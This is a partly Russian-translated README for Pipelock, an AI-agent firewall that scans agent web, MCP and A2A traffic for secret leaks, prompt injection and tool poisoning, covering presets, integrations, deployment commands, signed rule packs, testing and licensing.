- **A2A инспекция**: Инспектирует трафик протокола Google Agent-to-Agent по мере его прохождения через прямой и MCP пути.

<details>
<summary>Текстовая диаграмма (для терминалов)</summary>```
┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE │
│ │
│ AI Agent │
│ - API keys, credentials, private code and context │
│ - Network-isolated by deployment │
└────────────────────────────┬─────────────────────────────┘
│ mediated request
│ fetch / CONNECT / WS / MCP / A2A
▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE │
│ │
│ Pipelock Agent Firewall │
│ - Destination: URL, SSRF, and DNS checks │
│ - Data: DLP, secret detection, and budgets │
│ - Content: prompt injection and tool poisoning │
│ - Policy: allow, block, or redact │
│ - No agent secrets │
└────────────────────────────┬─────────────────────────────┘
│ approved request
▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET │
│ │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘
Internet -- response --> Pipelock -- scanned content --> AI Agent
Сгенерируйте конфигурацию из встроенного пресета, или позвольте pipelock audit подобрать её под ваш проект:```bash
pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml
| Предустановка CLI | Режим | Действие | Наилучшее применение |
|------------|------|--------|----------|
| `balanced` | balanced | warn | Общего назначения (по умолчанию) |
| `strict` | strict | block | Высокая безопасность, регулируемые отрасли |
| `audit` | audit | warn | Только оценка, логирование |
| `claude-code` | balanced | block | Claude Code без наблюдения |
| `cursor` | balanced | block | Cursor IDE |
| `generic-agent` | balanced | warn | Новые агенты во время настройки |
| `hostile-model` | strict | block | Модели без цензуры/аблятированные модели |
Изменения конфигурации подхватываются через file watcher или SIGHUP. Полная справка: **[docs/configuration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/configuration.md)**
Для настройки ложных срабатываний: **[docs/false-positive-tuning.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/false-positive-tuning.md)**
---
## Руководства по интеграции
- **[Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md):** Настройка прокси MCP, конфигурация `.claude.json`
- **[OpenAI Codex](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/codex.md):** Обёртывание прокси MCP, прямой прокси, интеграция с песочницей
- **[Cline](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/cline.md):** Обёртывание прокси MCP для `mcp.json` Cline
- **[OpenCode](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/opencode.md):** Обёртывание прокси MCP для локальных и удалённых MCP-серверов OpenCode
- **[Zed](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/zed.md):** Обёртывание прокси MCP для блока `context_servers` в `settings.json` Zed
- **[OpenAI Agents SDK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openai-agents.md):** `MCPServerStdio`, многоагентная передача
- **[Google ADK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/google-adk.md):** `McpToolset`, `StdioConnectionParams`
- **[AutoGen](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/autogen.md):** `StdioServerParams`, `mcp_server_tools()`
- **[CrewAI](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/crewai.md):** `MCPServerStdio` обёртывание, `MCPServerAdapter`
- **[LangGraph](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/langgraph.md):** `MultiServerMCPClient`, `StateGraph`
- **[Hermes](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/hermes.md):** полное покрытие плагинами или более лёгкое обёртывание только MCP для агента Nous Research, с сохранением auth-header sidecar
- **[JetBrains/Junie](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/jetbrains.md):** Обёртывание прокси MCP для IntelliJ, PyCharm, GoLand ([walkthrough](https://pipelab.org/learn/jetbrains-integration/))
- **Cursor:** `pipelock cursor install` регистрирует Pipelock как хук Cursor для выполнения команд оболочки, вызовов инструментов MCP и чтения файлов; используйте `--config`, чтобы встроить проверенный путь политики, и `pipelock cursor remove`, чтобы удалить управляемые Pipelock хуки. Вы также можете использовать `configs/cursor.yaml` с тем же шаблоном прокси MCP, что и [Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md) ([walkthrough](https://pipelab.org/learn/cursor-integration/))
- **VS Code:** `pipelock vscode install` перезаписывает `.vscode/mcp.json`, направляя каждый MCP-сервер через прокси MCP; `--global` нацелен на пользовательский `mcp.json`
- **[OpenClaw](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openclaw.md):** шлюзовой sidecar, init-контейнер, обёртывание конфигурации
- **Любой другой MCP-клиент:** `pipelock generate mcporter` читает любой JSON-файл с объектом верхнего уровня `mcpServers` и обёртывает каждый сервер через прокси Pipelock, так что клиент, не входящий в приведённый выше список, всё равно проходит сканирование одной командой.
## Развёртывание```bash
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:latest \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
# Kubernetes with Helm
helm install pipelock charts/pipelock/
Рецепты для продакшена для Docker Compose, Kubernetes sidecar + NetworkPolicy, iptables/nftables и macOS PF: docs/guides/deployment-recipes.md
Действие загружает предварительно собранный бинарный файл, запускает `pipelock audit`, сканирует diff пул-реквеста на наличие утекших секретов и загружает отчет аудита как артефакт рабочего процесса. Смотрите [`examples/ci-workflow.yaml`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/ci-workflow.yaml) для полного рабочего процесса.
### Запускаемая демонстрация: Инъекция ответа инструмента
Оснастка [`examples/tool-response-injection/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/tool-response-injection/) запускает сквозную демонстрацию, в которой MCP-инструмент с безобидным именем и описанием скрывает полезную нагрузку инъекции подсказки в своем ответе. Pipelock блокирует ответ до того, как он достигнет агента, и генерирует подписанные квитанции о действиях, которые могут быть проверены третьей стороной. Та же демонстрация запускается для трех транспортов с одним общим ключом подписи:
- MCP stdio
- MCP HTTP upstream
- HTTP fetch```bash
cd examples/tool-response-injection
python3 demo.py # needs python3 + cryptography + pipelock on PATH
Обнаружение, которое можно расширять, распространять и доставлять быстрее, чем основная бинарная сборка.
Встроенные функции Pipelock для DLP, инъекций и обнаружения отравления инструментов работают отлично «из коробки». Пакеты правил сообщества позволяют пойти дальше: добавляйте собственные шаблоны для форм эксфильтрации, форматов секретов и трюков с инъекциями, которые видит ваш стек, подписывайте их и доставляйте с частотой, которую вы контролируете, вместо ожидания релиза.
Установите официальный пакет одной командой:```bash pipelock rules install pipelock-community
Пакеты правил подписаны и зафиксированы по версии. Полный жизненный цикл — это поставляемая команда, а не редактирование конфигурации:```bash
pipelock rules list # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community
Напишите своё собственное. Правило — это небольшая запись в формате YAML с именем, категорией (DLP, injection или tool-poison) и шаблоном. Подпишите его своим ключом, поместите в пакет, и каждый экземпляр Pipelock, который вы запускаете, подхватит его. Поделитесь им с сообществом, и оно будет защищать и всех остальных.
Внесите правило в общедоступный пакет pipelock-rules или прочитайте docs/rules.md, чтобы создать и подписать своё собственное.
Полный каталог документации: docs/
| Документ | Содержание |
|---|---|
| Configuration Reference | Все поля конфигурации, значения по умолчанию, поведение при горячей перезагрузке, пресеты |
| Request Policy | Разрешительные по умолчанию рельсы запрета/предупреждения для исходящих операций API (GraphQL / discriminator / batch), закрытый при ошибке (v2.6) |
| Request Redaction | Перезапись JSON-запросов через HTTP, WebSocket и MCP-транспорты |
| False Positive Tuning | Выявление, подавление и настройка результатов сканирования |
| Scan API | Конечная точка оценки для программного сканирования |
| Deployment Recipes | Docker Compose, K8s sidecar, iptables, macOS PF |
pipelock doctor | Диагностика развертывания (конфигурация против реализованных возможностей) для прокси, TLS, MCP, file_sentry, телеметрии и сигналов изоляции |
pipelock dashboard | Настройка панели оператора: режимы аутентификации, разрешения RBAC, доказательства, исключения, бюджеты, доверие и ключи, представления флота, резервное копирование/восстановление и сертификаты покрытия |
pipelock verify-install | Детерминированное сканирование, локальное доказательство и проверки прямого исходящего трафика |
pipelock update | Проверенное самообновление: подписанный манифест релиза, проверка контрольной суммы, дополнительная перекрёстная проверка cosign, атомарная установка, откат |
cmd/pipelock/ CLI entry point
internal/
cli/ 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
diag/ pipelock doctor and install-verification diagnostics
session/ pipelock session, pipelock adaptive, and pipelock baseline operator CLIs
setup/ pipelock init sidecar: companion-proxy manifest generation (K8s)
config/ YAML config, validation, defaults, hot-reload (fsnotify)
scanner/ Ordered URL scanning pipeline + response injection detection
audit/ Structured JSON logging (zerolog) + event emission dispatch
proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains
integrity/ MCP binary/script integrity manifests and trust workflow
discover/ IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
killswitch/ Emergency deny-all (6 sources) + port-isolated API
envelope/ Mediation envelope (RFC 8941) for sideband metadata
media/ Image metadata stripping (JPEG/PNG byte-level surgery)
normalize/ Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
receipt/ Action receipt signing + hash-chained evidence
posture/ Posture capsule schema, signing, scoring, verify policy
session/ Session state, taint classification, task boundaries, trust overrides
rules/ Bundle loader, tier taxonomy, RequiredFeatures enforcement
sandbox/ Landlock, seccomp, netns, macOS sandbox-exec
shield/ Airlock, browser shield, SVG hardening
signing/ Ed25519 key management
integrity/ SHA256 file integrity monitoring
report/ HTML/JSON audit report generation
enterprise/ Multi-agent features (ELv2)
sdk/conformance/ Cross-implementation receipt verification test vectors
charts/ Helm chart for Kubernetes deployment
configs/ 7 built-in preset config files
docs/ Guides, references, compliance mappings
---
## Тестирование
Pipelock тестируется как продукт безопасности. Ядро с открытым исходным кодом включает модульные, интеграционные и сквозные тесты. Отдельный частный набор враждебных тестов проверяет классы атак на производственный бинарный файл. Каждый успешный обход становится регрессионным тестом перед выпуском.
| Метрика | Значение |
|--------|-------|
| Go тесты (с `-race`) | Модульные, интеграционные и сквозные пути |
| Порог покрытия (codecov) | 91% проекта ядра Apache-2.0, 95% для патчей на новом коде |
| Покрытие обходов | Публичная матрица устойчивости к обходам + частный враждебный корпус |
| Накладные расходы горячего пути сканера | ~40us на сканирование URL (бенчмарк горячего пути; см. [docs/performance.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/performance.md)) |
| Матрица CI | Go 1.25 + 1.26, CodeQL, golangci-lint |
| Цепочка поставок | SLSA provenance, CycloneDX SBOM, подписи cosign |
Запустите `make test` для локальной проверки. Независимый бенчмарк: публичный корпус [agent-egress-bench](https://github.com/luckyPipewrench/agent-egress-bench). Смотрите [результаты в реальном времени](https://pipelab.org/gauntlet/).
---
## Благодарности
- Архитектура под влиянием [песочницы Claude Code от Anthropic](https://www.anthropic.com/engineering/claude-code-sandboxing) и [sandbox-runtime](https://github.com/anthropic-experimental/sandbox-runtime)
- Модель угроз, основанная на [OWASP Agentic AI Top 10](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/)
- Смотрите [docs/comparison.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/comparison.md) для сравнения Pipelock с другими инструментами в этой области
- Вклад в аудит безопасности от Dylan Corrales
Приветствуются вклады. Смотрите [CONTRIBUTING.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/CONTRIBUTING.md) для руководства.
Если Pipelock полезен, пожалуйста, [поставьте звезду этому репозиторию](https://github.com/luckyPipewrench/pipelock). Это поможет другим найти проект.
---
## Лицензия
Ядро Pipelock лицензировано под **Apache License 2.0**. Авторские права 2026 Joshua Waldrep.
Многоагентные функции (идентификация на агента, бюджеты и изоляция конфигурации) находятся в каталоге `enterprise/`, ограничены тегом сборки `enterprise` и лицензированы под **Elastic License 2.0 (ELv2)**. Эти функции активируются с действующим лицензионным ключом.
Ядро с открытым исходным кодом работает независимо без платных функций. Всё сканирование, обнаружение и защита одного агента бесплатны.
Предварительно собранные артефакты релизов (Homebrew, релизы GitHub, образы Docker) включают код платного уровня, который активируется с действующим лицензионным ключом. Сборка из исходников с помощью `go install` или `Dockerfile` репозитория создаёт бинарник только для сообщества.
Смотрите [LICENSE](https://github.com/luckypipewrench/pipelock/blob/HEAD/LICENSE) для текста Apache 2.0 и [enterprise/LICENSE](https://github.com/luckypipewrench/pipelock/blob/HEAD/enterprise/LICENSE) для текста ELv2.
| Bypass Resistance | Известные техники обхода, меры смягчения, ограничения |
| Known Attacks Blocked | Реальные атаки с фрагментами воспроизведения |
| SIEM Integration | Схема журнала, вывод CEF/syslog, надёжная корпоративная пересылка, жизненный цикл, метрики, запросы SIEM |
| Metrics Reference | Семейства метрик Prometheus, метки, статистика JSON и правила оповещений |
| Community Rules | Установка, настройка и создание подписанных пакетов правил |
| Security Assurance | Модель безопасности, границы доверия, цепочка поставок |
| Security Documents | Политика раскрытия, неподдерживаемые пути, ротация ключей, модели угроз TLS CA и Audit Packet |
| Enterprise Readiness | Поставляемые корпоративные средства контроля, путь оценки, решения по развертыванию и явные границы |
| Reproducible Builds | Побайтовая проверка OSS-бинарников, стабильные входные данные, интеграция с релизами и область применения |
| Finding Suppression | Имена правил, сопоставление путей, встроенные комментарии |
| Transport Modes | Все режимы прокси и их возможности сканирования |
| OWASP MCP Top 10 | Покрытие OWASP MCP Top 10 |
| OWASP Agentic Top 15 | Покрытие OWASP Agentic AI Top 15 |
| OWASP LLM Top 10 | Покрытие OWASP Top 10 для LLM-приложений (2025) |
| EU AI Act | Соответствие EU AI Act |
| NIST 800-53 | Сопоставление с элементами управления NIST SP 800-53 Rev. 5 |
| Assess Mapping | Сопоставляет средства контроля времени выполнения с фреймворками, для которых pipelock assess предоставляет доказательства, для закупок и аудита |
| Policy Spec v0.1 | Формат портативной политики брандмауэра агента |
| Mediation Envelope | Метаданные побочного канала, конфигурация, взаимодействие с квитанциями |
| Media Policy | Удаление стего, усиление SVG, разрешённые типы, ограничения размера |
| Evidence Terminology | Краткий справочник по ActionReceipt, EvidenceReceipt, самописцу, контрольным точкам, якорям, сертификатам покрытия и Audit Packet, с различиями целостность-против-полноты и закреплённые-против-незакреплённых |
| Receipt Verification | pipelock verify-receipt, проверка отчёта о квитанциях флота, автономный pipelock-verifier, набор для проверки соответствия, целостность цепочки |
| Receipt Spec Profiles | Предикат аттестации in-toto для квитанций действий с сопутствующими профилями SCITT и AARP и сопоставлением с предыдущими работами |
| Audit Packet Threat Model | Что проверенные Audit Packet доказывают, чего они не доказывают, и какие допущения доверия должны быть закреплены полагающимися сторонами |
| Receipt Transport Coverage | Матрица эмиссии квитанций по путям fetch, forward, CONNECT/TLS, WebSocket, MCP и A2A |
| Learn-and-Lock | Поведенческие контракты для каждого агента: наблюдение, компиляция, тень, ратификация, продвижение (v2.4) |
| Federation | Проверка входящей оболочки посредничества, формат участника SPIFFE, общеизвестный каталог RFC 9421 (v2.4) |
| Block-Reason Header | Схема X-Pipelock-Block-Reason, словарь причин, подсказки для повторных попыток (v2.4) |
| Health Endpoint | Обнаружение клина /health 503, пульс подсистем, конфигурация панели оператора (v2.4) |
| Host Containment | pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh для изоляции с использованием nftables owner-match и аттестации позы, наблюдаемой ядром (v2.5) |
| MCP Integrity Manifests | Генерация, проверка, подписание и требование доверенных манифестов целостности бинарников MCP (v2.5) |
| Adaptive CLI | Просмотр и очистка состояния адаптивного принуждения через API администратора (v2.5) |
| Conductor | Плоскость управления корпоративным флотом: распространение политик, приёмник аудита, удалённое завершение, откат, доверие mTLS/SPIFFE, лицензирование (v2.7, Enterprise) |
| Conductor Operator Runbook | Практическое пошаговое руководство по локальному флоту: загрузка, обслуживание, подписание пакета, автономная проверка |
| Conductor Operator Quickstart | От нуля до аудита флота только для чтения: лицензия, сертификат mTLS оператора, токен аудитора, команды только для чтения |
| Kubernetes Enterprise Deployment | Флот Conductor на основе Helm: плоскость управления, ведомые, приёмник флота, секреты PKI, NetworkPolicies |
pipelock license | Установка, просмотр и проверка лицензии, открывающей платные функции (Pro agents, Enterprise fleet) |
pipelock baseline | Просмотр, ратификация и переобучение профилей поведенческого базиса через аутентифицированный API администратора |
| Posture Capsule | Подписанные снимки позы, CLI posture verify, интеграция с CI, модель оценки |
pipelock init sidecar | Генерация манифестов принудительного прокси-компаньона Kubernetes и контрактов запуска MCP (strategic-merge, Kustomize, значения Helm) |
pipelock session | CLI оператора для проверки и восстановления воздушного шлюза (list, inspect, explain, release, terminate, recover) |
pipelock keys status | Унифицированная инвентаризация ключей подписи: источник для каждой цели, наличие, читаемость, валидность и отпечаток открытого ключа |
| Flight Recorder | Хэш-цепочный подписанный журнал доказательств: поведение по умолчанию, печать корня транскрипта, редактирование, депонирование, ротация ключей |
| TLS Interception | MITM для CONNECT-туннелей: настройка CA, сканирование тела/заголовка/ответа, домены пропуска |
| Canary Tokens | Синтетические секреты, вызывающие тревогу в момент, когда агент пытается их извлечь |
| Detection Integration | Подача решений и доказательств Pipelock во внешние конвейеры обнаружения / SIEM |
| PR Review | Ручной запуск AI-проверки безопасности для запросов на слияние (комментарий /review) |
| MCP Inspector Front | Пропускание инструментов разработчика MCP (Inspector, тестовые серверы) через сканирование Pipelock |
pipelock demo | Самодостаточные сценарии атак с подписанными, автономно проверяемыми квитанциями, без конфигурации или сети |
| Badges | Готовый Markdown для значка scanned by pipelock на проектах-потребителях |